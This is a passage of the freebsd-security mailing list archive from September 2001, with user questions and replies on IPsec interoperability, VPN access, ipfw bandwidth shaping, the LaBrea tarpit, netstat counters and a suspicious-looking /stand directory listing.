List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org

In some mail from Paul Root, sie said:
> Anybody done IPSEC between a FreeBSD box and a Solaris 8 box?
> 
> I've got transports working between two FreeBSD boxes (haven't got
> tunnels, I'm having routing problems). But I can't get a FreeBSD box
> and a Solaris box to talk.
> 
> I know it's the Solaris end, as having a snoop on the Solaris end and
> pinging, I see ESP packets. Using tcpdump on FreeBSD and pinging
> from Solaris, I get ICMP packets.

I've done Solaris8 - OpenBSD & NetBSD (one of which is going to match
your freebsd box).


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Tue Sep 25 21:14:21 2001
Delivered-To: freebsd-security@freebsd.org
Received: from xlr82xs.shacknet.nu (untimed-10.bri.eis.net.au [203.12.171.225])
	by hub.freebsd.org (Postfix) with ESMTP id CF99237B40E
	for <security@freebsd.org>; Tue, 25 Sep 2001 21:14:05 -0700 (PDT)
Received: (from xlr82xs@localhost)
	by xlr82xs.shacknet.nu (8.11.6/8.11.6) id f8Q4DlU59252
	for security@freebsd.org; Wed, 26 Sep 2001 14:13:47 +1000 (EST)
	(envelope-from xlr82xs)
Date: Wed, 26 Sep 2001 14:13:37 +1000
From: xlr82xs <xlr82xs@sdf.lonestar.org>
To: security@freebsd.org
Subject: SEAS VPN
Message-ID: <20010926141337.A355@xlr82xs.shacknet.nu>
Mail-Followup-To: security@freebsd.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.3.22.1i
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org

As anyone ever heard of the SEAS VPN ? And knows how to actually connect to it under fbsd ?

I've been told by my university thats what they used, and even pointed me to a nice winnt version of it when i told then i didn't run 98

I Tried the pptp port, but that couldn't authenticate against the remote server (which uses a group and a user login, ie you login with username/password then group/password)

regards,
	David

-- 
            Yes, I've heard of "decaf." What's your point?

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Wed Sep 26  6:14:59 2001
Delivered-To: freebsd-security@freebsd.org
Received: from web20705.mail.yahoo.com (web20705.mail.yahoo.com [216.136.226.178])
	by hub.freebsd.org (Postfix) with SMTP id BA38B37B42F
	for <freebsd-security@freebsd.org>; Wed, 26 Sep 2001 06:14:56 -0700 (PDT)
Message-ID: <20010926131449.61290.qmail@web20705.mail.yahoo.com>
Received: from [62.128.212.126] by web20705.mail.yahoo.com via HTTP; Wed, 26 Sep 2001 14:14:49 BST
Date: Wed, 26 Sep 2001 14:14:49 +0100 (BST)
From: =?iso-8859-1?q?Adam=20Nealis?= <adamnealis@yahoo.co.uk>
Subject: Using ipfw pipes for bandwidth management - can it allow for "bursting"?
To: freebsd-security@freebsd.org
MIME-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org

Hi all,

I have perused the list archives and RTFM on ipfw
(which I use on this machine at home). I am interested
in investigating some free bandwidth management tools
and as a FreeBSD fan I'd like to use something that was
part of the core OS.

What I want to do is to restrict connections by IP
address to having a nominal bandwidth, but allow for
occasional bursts.

In going through the ipfw man page, I came across

pipe number config [bw bandwidth | device] [delay ms-delay] 
[queue {slots | size}] [plr loss-probability] 
[mask mask-specifier] [buckets hash-table-size] 
[red | gred w_q/min_th/max_th/max_p]

and it looks like red/gred are important in traffic shaping
and maybe bursting. However, I have been unable to find a
description of what exactly the w_q/min_th/max_th/max_p
parameters mean.

Which brings me here ;)

Am I going along the right lines with this or am I already
tangential? Are there better, (preferably free) tools out
there that I can use for this?

Thanks,
Adam Nealis.


____________________________________________________________
Do You Yahoo!?
Get your free @yahoo.co.uk address at http://mail.yahoo.co.uk
or your free @yahoo.ie address at http://mail.yahoo.ie

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Wed Sep 26  6:34:50 2001
Delivered-To: freebsd-security@freebsd.org
Received: from sv07e.atm-tzs.kmjeuro.com (sv07e.atm-tzs.kmjeuro.com [193.81.94.207])
	by hub.freebsd.org (Postfix) with ESMTP id 7FEEE37B428
	for <freebsd-security@freebsd.org>; Wed, 26 Sep 2001 06:34:45 -0700 (PDT)
Received: (from root@localhost)
	by sv07e.atm-tzs.kmjeuro.com (8.11.5/8.11.4) id f8QDYgZ57477
	for freebsd-security@freebsd.org; Wed, 26 Sep 2001 15:34:42 +0200 (CEST)
	(envelope-from k.joch@kmjeuro.com)
Received: from kmjeuro.com (adsl.sbg.kmjeuro.com [193.154.189.16])
	(authenticated)
	by sv07e.atm-tzs.kmjeuro.com (8.11.5/8.11.4) with ESMTP id f8QDYUv57209;
	Wed, 26 Sep 2001 15:34:31 +0200 (CEST)
	(envelope-from k.joch@kmjeuro.com)
Message-ID: <3BB1D965.6090203@kmjeuro.com>
Date: Wed, 26 Sep 2001 15:34:29 +0200
From: "Karl M. Joch" <k.joch@kmjeuro.com>
User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:0.9.3) Gecko/20010812
X-Accept-Language: en-us
MIME-Version: 1.0
To: Laurent Fabre <fabre@matranet.com>
Cc: freebsd-security@freebsd.org
Subject: Re: LaBrea for BSD?
References: <20010924162750.24311@shalmaneser.thelbane.com> <200109241645.SAA02368@malraux.matranet.com> <200109251018.MAA08113@malraux.matranet.com> <200109251339.PAA22725@malraux.matranet.com> <200109251455.QAA28275@malraux.matranet.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X--virus-scanner: scanned for Virus and dangerous attachments on sv07e.atm-tzs.kmjeuro.com (System Setup/Maintainance: http://www.ctseuro.com/)
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org



Laurent Fabre wrote:

> Actually it's a libpcap issue i think.
> As soon as the traffic gets high you start loosing frame
> and the processing takes huge time to complete.
> 
> So there's a performance issue only in the capture phase
> and not on the reply react phase.
> 
> 
> Problem is i don't see anything else than libpcap to capture packets....
> 


dont really think so. if starting with -x (not capturing packages) all 
the activities are logged. look like the box sees all packages. but when 
removing -x switch it doesnt work as it should. still trying to figure 
it out, because in the server room are only freebsd boxes. dont want to 
have a non freebsd box there if possible.

Karl


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Wed Sep 26  6:53: 1 2001
Delivered-To: freebsd-security@freebsd.org
Received: from franklin.physics.purdue.edu (franklin.physics.purdue.edu [128.210.146.222])
	by hub.freebsd.org (Postfix) with ESMTP id 2E94937B40E
	for <security@FreeBSD.org>; Wed, 26 Sep 2001 06:52:56 -0700 (PDT)
Received: from physics.purdue.edu (curie.physics.purdue.edu [128.210.68.223])
	by franklin.physics.purdue.edu (Postfix) with ESMTP id 6BFB120F23
	for <security@FreeBSD.org>; Wed, 26 Sep 2001 08:53:04 -0500 (EST)
Received: by physics.purdue.edu (Postfix, from userid 12409)
	id 0C41283; Wed, 26 Sep 2001 07:20:19 -0500 (EST)
Date: Wed, 26 Sep 2001 07:20:19 -0500
From: Will Andrews <will@physics.purdue.edu>
To: FreeBSD Security <security@FreeBSD.org>
Subject: Re: LaBrea for BSD?
Message-ID: <20010926072019.K69123@curie.physics.purdue.edu>
Reply-To: Will Andrews <will@physics.purdue.edu>
Mail-Followup-To: FreeBSD Security <security@FreeBSD.org>
References: <20010924162750.24311@shalmaneser.thelbane.com> <4.3.2.7.2.20010925105333.04794430@localhost>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.3.17i
In-Reply-To: <4.3.2.7.2.20010925105333.04794430@localhost>; from brett@lariat.org on Tue, Sep 25, 2001 at 10:54:37AM -0600
X-Operating-System: FreeBSD 4.3-STABLE i386
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org

On Tue, Sep 25, 2001 at 10:54:37AM -0600, Brett Glass (brett@lariat.org) wrote:
> It would be MUCH better to rewrite it rather than port it. The authors
> have stamped the GPL on it. The last thing we need (IMHO) is to
> spread one virus while attempting to catch another!

It would be MUCH better to stop using Windows than to spout
nonsense like this.

-- 
wca

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Wed Sep 26  7:13: 7 2001
Delivered-To: freebsd-security@freebsd.org
Received: from malraux.matranet.com (malraux.matranet.com [194.117.213.2])
	by hub.freebsd.org (Postfix) with ESMTP id 56F2F37B433
	for <security@FreeBSD.ORG>; Wed, 26 Sep 2001 07:13:04 -0700 (PDT)
Received: by malraux.matranet.com; id QAA28606; Wed, 26 Sep 2001 16:14:07 +0200 (CEST)
Message-Id: <200109261414.QAA28606@malraux.matranet.com>
Date: Wed, 26 Sep 2001 16:18:00 +0200
From: Laurent Fabre <fabre@matranet.com>
User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:0.9.3) Gecko/20010924
X-Accept-Language: en-us
MIME-Version: 1.0
To: Will Andrews <will@physics.purdue.edu>
Cc: FreeBSD Security <security@FreeBSD.ORG>
Subject: Re: LaBrea for BSD?
References: <20010924162750.24311@shalmaneser.thelbane.com> <4.3.2.7.2.20010925105333.04794430@localhost> <200109261355.PAA27232@malraux.matranet.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org

Will Andrews wrote:
> On Tue, Sep 25, 2001 at 10:54:37AM -0600, Brett Glass (brett@lariat.org) wrote:
> 
>>It would be MUCH better to rewrite it rather than port it. The authors
>>have stamped the GPL on it. The last thing we need (IMHO) is to
>>spread one virus while attempting to catch another!
>>
> 
> It would be MUCH better to stop using Windows than to spout
> nonsense like this.
> 
> 

This discussion is off-topic.

I'm writing a new version of it because i think this little
piece of code is a good idea but it also lacks features.
I want to be able to emulate stacks behaviors on a OS basis
and try to speed up a bit the capturing process.
If u got other things in mind let's discuss them.



-- 
#--------------------------------------------#
#              Laurent Fabre                 #
#            fabre@matranet.com              #      /\    ASCII ribbon
#          EADS, Matranet Product Group      #      \/      campaign
#                                            #      /\	    against
# "foreach if-diff,                          #     /  \    HTML email
#  you need to re-make world...."            #
#--------------------------------------------#


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Wed Sep 26  8: 9:41 2001
Delivered-To: freebsd-security@freebsd.org
Received: from www.suntop-cn.com (www.suntop-cn.com [61.140.76.155])
	by hub.freebsd.org (Postfix) with ESMTP id 7A7CF37B427
	for <freebsd-security@freebsd.org>; Wed, 26 Sep 2001 08:09:37 -0700 (PDT)
Received: from win ([61.144.142.92])
	(authenticated)
	by www.suntop-cn.com (8.11.3/8.11.3) with ESMTP id f8QF9ZE39976
	for <freebsd-security@freebsd.org>; Wed, 26 Sep 2001 23:09:35 +0800 (CST)
	(envelope-from slack@suntop-cn.com)
Message-ID: <000701c1469d$436b4d80$9201a8c0@home.net>
From: "edwin chan" <slack@suntop-cn.com>
To: <freebsd-security@freebsd.org>
Subject: what 's the output mean ? maybe I am under attack ?
Date: Wed, 26 Sep 2001 23:09:34 +0800
MIME-Version: 1.0
Content-Type: text/plain;
	charset="gb2312"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org

today, when i run "netstat -p tcp" i found something not normal, is it mean
my box under attack ?

$ netstat -p tcp
tcp:
        32949909 packets sent
                26228892 data packets (553570256 bytes)
                998760 data packets (1014872219 bytes) retransmitted
                37 resends initiated by MTU discovery
                5231789 ack-only packets (0 delayed)
                0 URG only packets
                27011 window probe packets
                43314 window update packets
                420146 control packets
        22126272 packets received
                15191487 acks (for 455329912 bytes)
                1713060 duplicate acks
                397 acks for unsent data
                4281933 packets (3828576231 bytes) received in-sequence
                114136 completely duplicate packets (22646316 bytes)
                0 old duplicate packets
                541 packets with some dup. data (307470 bytes duped)
                275937 out-of-order packets (110838044 bytes)
                212 packets (54004 bytes) of data after window
                0 window probes
                270521 window update packets



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Wed Sep 26  9:26:46 2001
Delivered-To: freebsd-security@freebsd.org
Received: from ringworld.nanolink.com (straylight.ringlet.net [217.75.134.254])
	by hub.freebsd.org (Postfix) with SMTP id 9057037B40E
	for <freebsd-security@freebsd.org>; Wed, 26 Sep 2001 09:26:37 -0700 (PDT)
Received: (qmail 6752 invoked by uid 1000); 26 Sep 2001 16:25:49 -0000
Date: Wed, 26 Sep 2001 19:25:49 +0300
From: Peter Pentchev <roam@ringlet.net>
To: edwin chan <slack@suntop-cn.com>
Cc: freebsd-security@freebsd.org
Subject: Re: what 's the output mean ? maybe I am under attack ?
Message-ID: <20010926192549.A633@ringworld.oblivion.bg>
Mail-Followup-To: edwin chan <slack@suntop-cn.com>,
	freebsd-security@freebsd.org
References: <000701c1469d$436b4d80$9201a8c0@home.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <000701c1469d$436b4d80$9201a8c0@home.net>; from slack@suntop-cn.com on Wed, Sep 26, 2001 at 11:09:34PM +0800
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org

On Wed, Sep 26, 2001 at 11:09:34PM +0800, edwin chan wrote:
> today, when i run "netstat -p tcp" i found something not normal, is it mean
> my box under attack ?

What exactly do you consider to be 'not normal'?

> $ netstat -p tcp
> tcp:
>         32949909 packets sent
>                 26228892 data packets (553570256 bytes)
>                 998760 data packets (1014872219 bytes) retransmitted
>                 37 resends initiated by MTU discovery
>                 5231789 ack-only packets (0 delayed)
>                 0 URG only packets
>                 27011 window probe packets
>                 43314 window update packets
>                 420146 control packets
>         22126272 packets received
>                 15191487 acks (for 455329912 bytes)
>                 1713060 duplicate acks
>                 397 acks for unsent data
>                 4281933 packets (3828576231 bytes) received in-sequence
>                 114136 completely duplicate packets (22646316 bytes)
>                 0 old duplicate packets
>                 541 packets with some dup. data (307470 bytes duped)
>                 275937 out-of-order packets (110838044 bytes)
>                 212 packets (54004 bytes) of data after window
>                 0 window probes
>                 270521 window update packets

G'luck,
Peter

-- 
This sentence every third, but it still comprehensible.

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Wed Sep 26 10:25: 9 2001
Delivered-To: freebsd-security@freebsd.org
Received: from zogbe.tasam.com (uta-ip196.ntc.off-campus.vt.edu [63.165.178.196])
	by hub.freebsd.org (Postfix) with ESMTP id 286DA37B420
	for <freebsd-security@FreeBSD.ORG>; Wed, 26 Sep 2001 10:25:03 -0700 (PDT)
Received: from localhost (clash@localhost)
	by zogbe.tasam.com (8.11.6/8.11.6) with ESMTP id f8QHOmg22521;
	Wed, 26 Sep 2001 13:24:48 -0400 (EDT)
Date: Wed, 26 Sep 2001 13:24:48 -0400 (EDT)
From: Joseph Gleason <clash@zogbe.tasam.com>
To: =?iso-8859-1?q?Adam=20Nealis?= <adamnealis@yahoo.co.uk>
Cc: <freebsd-security@FreeBSD.ORG>
Subject: Re: Using ipfw pipes for bandwidth management - can it allow for
 "bursting"?
In-Reply-To: <20010926131449.61290.qmail@web20705.mail.yahoo.com>
Message-ID: <20010926132338.W19934-100000@zogbe.tasam.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org

man 4 dummynet

I has more info about what the ipfw pipe commands do.

Once you have dummynet compiled into your kernel, you can use use IPFW
rules to manage bandwidth.


On Wed, 26 Sep 2001, [iso-8859-1] Adam Nealis wrote:

> Hi all,
>
> I have perused the list archives and RTFM on ipfw
> (which I use on this machine at home). I am interested
> in investigating some free bandwidth management tools
> and as a FreeBSD fan I'd like to use something that was
> part of the core OS.
>
> What I want to do is to restrict connections by IP
> address to having a nominal bandwidth, but allow for
> occasional bursts.
>
> In going through the ipfw man page, I came across
>
> pipe number config [bw bandwidth | device] [delay ms-delay]
> [queue {slots | size}] [plr loss-probability]
> [mask mask-specifier] [buckets hash-table-size]
> [red | gred w_q/min_th/max_th/max_p]
>
> and it looks like red/gred are important in traffic shaping
> and maybe bursting. However, I have been unable to find a
> description of what exactly the w_q/min_th/max_th/max_p
> parameters mean.
>
> Which brings me here ;)
>
> Am I going along the right lines with this or am I already
> tangential? Are there better, (preferably free) tools out
> there that I can use for this?
>
> Thanks,
> Adam Nealis.
>
>
> ____________________________________________________________
> Do You Yahoo!?
> Get your free @yahoo.co.uk address at http://mail.yahoo.co.uk
> or your free @yahoo.ie address at http://mail.yahoo.ie
>
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-security" in the body of the message
>


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Wed Sep 26 10:52: 1 2001
Delivered-To: freebsd-security@freebsd.org
Received: from relay1.pair.com (relay1.pair.com [209.68.1.20])
	by hub.freebsd.org (Postfix) with SMTP id F0B8037B437
	for <freebsd-security@freebsd.org>; Wed, 26 Sep 2001 10:51:52 -0700 (PDT)
Received: (qmail 28595 invoked from network); 26 Sep 2001 17:51:49 -0000
Received: from pec-85-232.tnt6.m2.uunet.de (HELO nina) (149.225.85.232)
  by relay1.pair.com with SMTP; 26 Sep 2001 17:51:49 -0000
X-pair-Authenticated: 149.225.85.232
Message-ID: <010a01c146b2$b5372e60$0801a8c0@system>
From: "Tom Beer" <tom@analogon.com>
To: <freebsd-security@freebsd.org>
Subject: hacked?
Date: Wed, 26 Sep 2001 19:25:31 +0200
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org

Hi,

I just have taken a look at my /stand directory
and have absolutely no explanation what the -sh and the [
file could be, and why are nearly all files have exact the same
size, date and time.

Any suggestions will be very welcome,
thanks Tom

ls /stand

total 55307
-r-xr-xr-x  32 root  wheel  1759284 Apr 22 01:44 -sh*
drwxr-xr-x   4 root  wheel     1024 Aug  6 19:52 ./
drwxr-xr-x  20 root  wheel      512 Sep 19 19:39 ../
-r-xr-xr-x  32 root  wheel  1759284 Apr 22 01:44 [*
-r-xr-xr-x  32 root  wheel  1759284 Apr 22 01:44 arp*
-r-xr-xr-x  32 root  wheel  1759284 Apr 22 01:44 boot_crunch*
-r-xr-xr-x  32 root  wheel  1759284 Apr 22 01:44 cpio*
-r-xr-xr-x  32 root  wheel  1759284 Apr 22 01:44 dhclient*
-r-xr-xr-x   1 root  wheel     6690 Apr 22 02:25 dhclient-script*
drwx------   3 root  wheel      512 Aug  6 19:52 etc/
-r-xr-xr-x  32 root  wheel  1759284 Apr 22 01:44 find*
-r-xr-xr-x  32 root  wheel  1759284 Apr 22 01:44 fsck*
-r-xr-xr-x  32 root  wheel  1759284 Apr 22 01:44 gunzip*
-r-xr-xr-x  32 root  wheel  1759284 Apr 22 01:44 gzip*
drwxr-xr-x   2 root  wheel     1024 Aug  6 19:52 help/
-r-xr-xr-x  32 root  wheel  1759284 Apr 22 01:44 hostname*
-r-xr-xr-x  32 root  wheel  1759284 Apr 22 01:44 ifconfig*
-r-xr-xr-x  32 root  wheel  1759284 Apr 22 01:44 minigzip*
-r-xr-xr-x  32 root  wheel  1759284 Apr 22 01:44 mount_mfs*
-r-xr-xr-x  32 root  wheel  1759284 Apr 22 01:44 mount_nfs*
-r-xr-xr-x  32 root  wheel  1759284 Apr 22 01:44 newfs*
-r-xr-xr-x  32 root  wheel  1759284 Apr 22 01:44 pccardc*
-r-xr-xr-x  32 root  wheel  1759284 Apr 22 01:44 pccardd*
-r-xr-xr-x  32 root  wheel  1759284 Apr 22 01:44 ppp*
-r-xr-xr-x  32 root  wheel  1759284 Apr 22 01:44 pwd*
-r-xr-xr-x  32 root  wheel  1759284 Apr 22 01:44 rm*
-r-xr-xr-x  32 root  wheel  1759284 Apr 22 01:44 route*
-r-xr-xr-x  32 root  wheel  1759284 Apr 22 01:44 rtsol*
-r-xr-xr-x  32 root  wheel  1759284 Apr 22 01:44 sed*
-r-xr-xr-x  32 root  wheel  1759284 Apr 22 01:44 sh*
-r-xr-xr-x  32 root  wheel  1759284 Apr 22 01:44 slattach*
-r-xr-xr-x  32 root  wheel  1759284 Apr 22 01:44 sysinstall*
-r-xr-xr-x  32 root  wheel  1759284 Apr 22 01:44 test*
-r-xr-xr-x  32 root  wheel  1759284 Apr 22 01:44 tunefs*
-r-xr-xr-x  32 root  wheel  1759284 Apr 22 01:44 usbd*
-r-xr-xr-x  32 root  wheel  1759284 Apr 22 01:44 usbdevs*
-r-xr-xr-x  32 root  wheel  1759284 Apr 22 01:44 zcat*



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Wed Sep 26 10:52:18 2001
Delivered-To: freebsd-security@freebsd.org
Received: from relay1.pair.com (relay1.pair.com [209.68.1.20])
	by hub.freebsd.org (Postfix) with SMTP id E37BF37B417
	for <freebsd-security@freebsd.org>; Wed, 26 Sep 2001 10:52:01 -0700 (PDT)
Received: (qmail 28939 invoked from network); 26 Sep 2001 17:52:00 -0000
Received: from pec-85-232.tnt6.m2.uunet.de (HELO nina) (149.225.85.232)
  by relay1.pair.com with SMTP; 26 Sep 2001 17:52:00 -0000
X-pair-Authenticated: 149.225.85.232
Message-ID: <010f01c146b2$bb9965c0$0801a8c0@system>
From: "Tom Beer" <tom@analogon.com>
To: <freebsd-security@freebsd.org>
Subject: hacked?
Date: Wed, 26 Sep 2001 19:25:31 +0200
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org

Hi,

I just have taken a look at my /stand directory
and have absolutely no explanation what the -sh and the [
file could be, and why are nearly all files have exact the same
size, date and time.

Any suggestions will be very welcome,
thanks Tom

ls /stand

total 55307
-r-xr-xr-x  32 root  wheel  1759284 Apr 22 01:44 -sh*
drwxr-xr-x   4 root  wheel     1024 Aug  6 19:52 ./
drwxr-xr-x  20 root  wheel      512 Sep 19 19:39 ../
-r-xr-xr-x  32 root  wheel  1759284 Apr 22 01:44 [*
-r-xr-xr-x  32 root  wheel  1759284 Apr 22 01:44 arp*
-r-xr-xr-x  32 root  wheel  1759284 Apr 22 01:44 boot_crunch*
-r-xr-xr-x  32 root  wheel  1759284 Apr 22 01:44 cpio*
-r-xr-xr-x  32 root  wheel  1759284 Apr 22 01:44 dhclient*
-r-xr-xr-x   1 root  wheel     6690 Apr 22 02:25 dhclient-script*
drwx------   3 root  wheel      512 Aug  6 19:52 etc/
-r-xr-xr-x  32 root  wheel  1759284 Apr 22 01:44 find*
-r-xr-xr-x  32 root  wheel  1759284 Apr 22 01:44 fsck*
-r-xr-xr-x  32 root  wheel  1759284 Apr 22 01:44 gunzip*
-r-xr-xr-x  32 root  wheel  1759284 Apr 22 01:44 gzip*
drwxr-xr-x   2 root  wheel     1024 Aug  6 19:52 help/
-r-xr-xr-x  32 root  wheel  1759284 Apr 22 01:44 hostname*
-r-xr-xr-x  32 root  wheel  1759284 Apr 22 01:44 ifconfig*
-r-xr-xr-x  32 root  wheel  1759284 Apr 22 01:44 minigzip*
-r-xr-xr-x  32 root  wheel  1759284 Apr 22 01:44 mount_mfs*
-r-xr-xr-x  32 root  wheel  1759284 Apr 22 01:44 mount_nfs*
-r-xr-xr-x  32 root  wheel  1759284 Apr 22 01:44 newfs*
-r-xr-xr-x  32 root  wheel  1759284 Apr 22 01:44 pccardc*
-r-xr-xr-x  32 root  wheel  1759284 Apr 22 01:44 pccardd*
-r-xr-xr-x  32 root  wheel  1759284 Apr 22 01:44 ppp*
-r-xr-xr-x  32 root  wheel  1759284 Apr 22 01:44 pwd*
-r-xr-xr-x  32 root  wheel  1759284 Apr 22 01:44 rm*
-r-xr-xr-x  32 root  wheel  1759284 Apr 22 01:44 route*
-r-xr-xr-x  32 root  wheel  1759284 Apr 22 01:44 rtsol*
-r-xr-xr-x  32 root  wheel  1759284 Apr 22 01:44 sed*
-r-xr-xr-x  32 root  wheel  1759284 Apr 22 01:44 sh*
-r-xr-xr-x  32 root  wheel  1759284 Apr 22 01:44 slattach*
-r-xr-xr-x  32 root  wheel  1759284 Apr 22 01:44 sysinstall*
-r-xr-xr-x  32 root  wheel  1759284 Apr 22 01:44 test*
-r-xr-xr-x  32 root  wheel  1759284 Apr 22 01:44 tunefs*
